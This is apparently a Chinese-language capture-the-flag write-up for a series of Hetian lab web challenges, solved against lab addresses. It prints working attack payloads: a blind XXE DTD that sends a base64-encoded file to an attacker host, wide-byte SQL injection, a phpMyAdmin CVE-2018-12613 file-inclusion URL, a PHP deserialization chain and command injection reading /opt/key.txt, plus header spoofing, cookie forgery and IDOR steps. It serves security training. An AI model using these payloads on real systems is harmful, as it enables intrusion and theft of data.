0x01 :你的脑袋有点大(http头)
0x02 后台登陆(http头+sql注入)
打开页面可以看到没有访问权限,可以利用构造XFF头
进去后利用万能密码 ,密码随便输
猜测后台sql语句select * from user where username = '$name' and password='$passowrd'
0x03 又是登陆(blind xxe)
<!ENTITY % p1 SYSTEM "php://filter/convert.base64-encode/resource=/opt/password.txt">
<!ENTITY % p2 "<!ENTITY e2 SYSTEM 'http://kali_ip/msg?%p1;'>">
%p2;
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://10.1.1.135/2.dtd">
<foo>&e2;</foo>
heetianlab/heetian_v5
0x04 合天网安新闻(宽字节注入)
过滤空格、select、union
http://10.1.1.100/new.php?id=-1�'+Union+Select+1,flag,3+from+flag%23
0x05 后台的key
1.打开地址发现是一个熊海cms
2.题目是后台的key,我们来访问一下后台试一试10.1.1.200/houtai/admin发现跳转到admin后台登录位置
3.随意输入admin 123456抓包
4.修改包r=wlist,然后加上Cookie:user=admin
5.forward放包成功登陆后台,查看源码可以看到key
0x06 有趣的SSRF
1.打开可以看到是个有回显的ssrf,既然有回显那我们直接读key不就可以吗?
- 尝试file协议读取/opt/key.txt,发现无内容,继续尝试读取/etc/passwd发现还是无回显,猜测其可能是禁止我们使用file协议.
- 既然file协议不通,那说明考点不在这。那我们来一波端口探测:
可以看到成功回显了ssh的banner信息,继续进行其他端口探测。
4. 经过测试发现其开放了8080端口,而且还是个struts2
- 于是想到了利用ssrf打struts2,这道题的考点一定是这个,于是测试相关payload,发现其存在s2-032。
- 直接利用payload读取key:
0x07 PHPMYADMIN(CVE-2018-12613)
1.访问phpmyadmin,尝试使用默认口令root/root进行登录,登录后可以看到phpmyadmin版本为4.8.1,想到cve-2018-12613文件包含漏洞。
从题目描述得知flag可能存在于/opt/key.txt下面,因为该漏洞可以包含任意文件,所以尝试直接包含flag文件
2. 构造paylaod读取系统文件:
Payload:http://10.1.1.100/phpmyadmin/index.php?target=db_export.php%3f/../../../../../../../../../opt/key.txt
0x08 统一登录平台
- 尝试弱口令登录,万能密码登陆,sql注入,未果
- 目录扫描
使用开源目录扫描工具dirsearch进行目录扫描
disearch:https://github.com/maurosoria/dirsearch
cd /root/Desktop/dirsearch
python3 dirsearch.py –u ‘http://10.1.1.100/tongyidenglu/’ –e php
发现robots.txt文件,访问后内容如下,推测flag文件所在位置为/opt/key.txt:
发现www.tar.gz压缩包,下载后解压查看内容推测为网站部分源代码:
cd /root/Downloads
tar –xzf www.tar.gz
进行代码审计,发现common目录下的home.php文件存在反序列化操作,反序列化的对象为post方式用户提交的a参数,故在此a为可控点,我们可以寻找一处可以触发敏感操作的地方。
在对象销毁时,会自动调用我们这里自定义函数__destruct()方法。【已在图中中标明函数介绍】这里存在一处敏感操作,去执行回调函数,根据我们home对象中的method属性的值去调用哪个方法,这里有一个ping方法,ping方法中使用了敏感函数system,所以我们在实例化对象时可以将method属性设置为ping,这里没有对args参数做限制【除了一开始的去除空格】,所以我们可以尝试命令执行。
得到:O:4:"home":2:{s:12:" home method";s:4:"ping";s:10:" home args";a:1:{i:0;s:8:"1|whoami";}}
这里有个需要注意的点,home类中的method及args属性均为private,在序列化后的字符串 中home method及home args左侧都有一个0x00
因此我们在发送payload时需要加上%00。
在构造payload时还需要注意绕过空格的限制:
因此payload为(在/root/Desktop/re.txt文件中):
a=O:4:"home":2:{s:12:"%00home%00method";s:4:"ping";s:10:"%00home%00args";a:1:{i:0;s:23:"1|cat${IFS}/opt/key.txt";}}
Bp发包即可得到flag。
继续代码审计,发现lib目录下的User.php文件,其中有定义Login登陆功能、register注册功能、upload文件上传功能、ping等;
当我们使用弱口令登陆时可发现调用login登录函数的方式:
http://10.1.1.100/tongyidenglu/index.php?c=User&a=login
可以发现这里的ping函数使用POST请求方式接受用户传递的host参数,并且未经过滤的代入危险函数system中执行,可确定存在命令执行漏洞。
调用ping函数:
http://10.1.1.100/tongyidenglu/index.php?c=User&a=ping
传递payload:
host=127.0.0.1|cat /opt/key.txt
0x09 听说越权就送flag
-
打开题目可以看到是一个商城
-
根据题目提示这个是越权漏洞,我们首先注册一个用户查看
-
注册账号
-
登录用户中心查看功能找到收货地址功能
-
首先随意创建一个地址
-
对创建好的地址点击修改,在burp里面可以看到数据包对应的地址id为3,那么前面id为2 、id为1的内容是什么呢
-
访问地址10.1.1.100/TinyShop3/index.php?con=simple&act=address_other&id=3可以发现这里就是我自己的地址
-
访问10.1.1.100/TinyShop3/index.php?con=simple&act=address_other&id=2可以看到获取到key通关